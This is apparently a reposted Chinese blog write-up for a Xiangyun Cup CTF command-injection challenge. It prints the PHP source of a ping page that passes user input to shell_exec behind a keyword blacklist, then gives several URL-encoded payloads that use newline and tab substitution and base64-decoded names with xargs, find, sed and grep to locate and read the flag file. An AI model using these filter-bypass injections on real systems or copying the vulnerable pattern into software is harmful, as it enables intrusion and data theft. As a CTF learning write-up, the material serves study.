• 祥云杯命令执行 wp+源码


    源码:

    <!DOCTYPE html>
    <html lang="zh-CN">
    <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no">
    <title>PING</title>
    <link href="style.css?t=<?php echo date("1"); ?>" rel="stylesheet">
    <link rel="stylesheet" href="style2.css">
    </head>
    <?php
    error_reporting(0);
    if (isset($_GET['url'])) {
    $ip=$_GET['url'];
    if(preg_match("/(;|'| |>|]|&| |\$|python|sh|nc|tac|rev|more|tailf|index|php|head|nl|tail|less|cat|ruby|perl|bash|rm|cp|mv|*|{)/i", $ip)){
    die("<script language='javascript' type='text/javascript'>
    alert('no no no!')
    window.location.href='index.php';</script>");
    }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("<script language='javascript' type='text/javascript'>
    alert('no flag!')
    window.location.href='index.php';</script>");
    }
    $a = shell_exec("ping -c 4 ".$ip);
    }
    ?>
    <body>
    <div id="content">
    <div class="con">
    <div class="shlogo"></div>
    <div class="sou">
    <div class="font_div">
    <i style="font-size: 50px;" class="iconfont icon-sousuo"></i>ping
    </div>
    <form action="" method="get" target="_self">

    <input class="wd" type="text" placeholder="IP:" name="url" x-webkit-speech lang="zh-CN">
    </br>
    <button><i style="font-size: 15px;" class="iconfont icon-sousuo"></i>ping</button>
    </br>
    </br>
    <strong> Result:<?php
    print_r($a);
    ?><strong>
    </form>
    </div>
    </div>
    </div>
    </body>
    </html>

    其实源码也是要找的

    观察源码 可发现被过滤的字符
    有多种解法 

    不过 核心都是 ’echo flag(base64编码)|base64 -d'  实现了绕过后面对flag的过滤 (试了半天没绕过 拼接 大小写 都不行,也想到了 这里但是不会xargs接收参数)

    第一条payload:  123%0aecho%09ZmxhZw==|base64%09-d|xargs%09-l%09x%09find%09/%09-name%09"x????"          这是为了绕而编的 

    等同于 123|echo ZmxhZw==|base64 -d|xargs -I x find / -name "x????"    意思是 输出base64加密后解密的flag 其实就是flag 但是表达式中没有 所以绕过了 然后传入flag 到参数x 再进行find 查找 含有名字包含flag的文件
    最后结果有 /etc/.findlag/flag.txt

    继续payload: 123%0a'echo%09L2V0Vy8uZmluZGZsYWcvZmxhZy50eHQ=|base64%09-d|xargs%09sed%09""%09           这里也可以用我前面写道的 sed '/flag/' 打开文件  这里隐藏了参数  我实验改成

    xargs -I x sed "" x 也行  这样就是需要用到x 的值
    最后意思其实就是打开上个文件位置下的文件 打印内容

    第二种解法 

    前面的差不多 不过最后用到的是grep      实验 : echo Mi50eHQK|base64 -d|grep .  将 2.txt文件位置编码后 解码 再用管道传数据 grep . 过滤 含有.的字符  输出结果  

    123%0aecho%09ZmxhZw==|base64%09-d‘%09grep .       和实验类似  通过管道传数据 用grep+关键词 过滤    其实完全可以 过滤 fl   会输出包含fl的字符串 这样就有flag显示了

    知识点 还是 管道的利用 以及echo base64 结合的妙用   不是拼接了   也不是简单双写了

    第三种解法:

    payload : 127.0.0.1%0afind%09/%09-name%09`echo%09ZmxhKg==|base64%09-d`      直接出flag  的位置  因为 `echo ****`这里作为了find / -name 的参数 (fla*)  从根目录开始查找所有包含fla的文件名

    payload2: 127.0.0.1%0a||ca %09/`echo%09L2V0Yy8uZmluZGZsYWcvZmxhZy50eHQ=|base64%09-d`   `echo base64加密文件位置后解密 ` 输出的结果作为了ca 后的参数 然后就能直接打开了  

    相对前面2种方法 第三种是最简单的了

  • 相关阅读:
    phalcon—— PHP基础知识(一)
    仿淘宝商品浏览界面, 向上拉查看详情
    linux执行run文件显示cannot execute binary file
    atitit.client连接oracle数据库的方式总结
    LeetCode203:Remove Linked List Elements
    DotNetBar.Bar图标列表的使用
    3509.com 纵横天下虚拟主机,垃圾中的战斗机
    RT-Thread内核之线程调度(三)
    CSDN-Code平台公钥设置
    2014年工作中遇到的20个问题:81-100
  • 原文地址:https://www.cnblogs.com/Sabia/p/14031163.html
Copyright © 2020-2023  润新知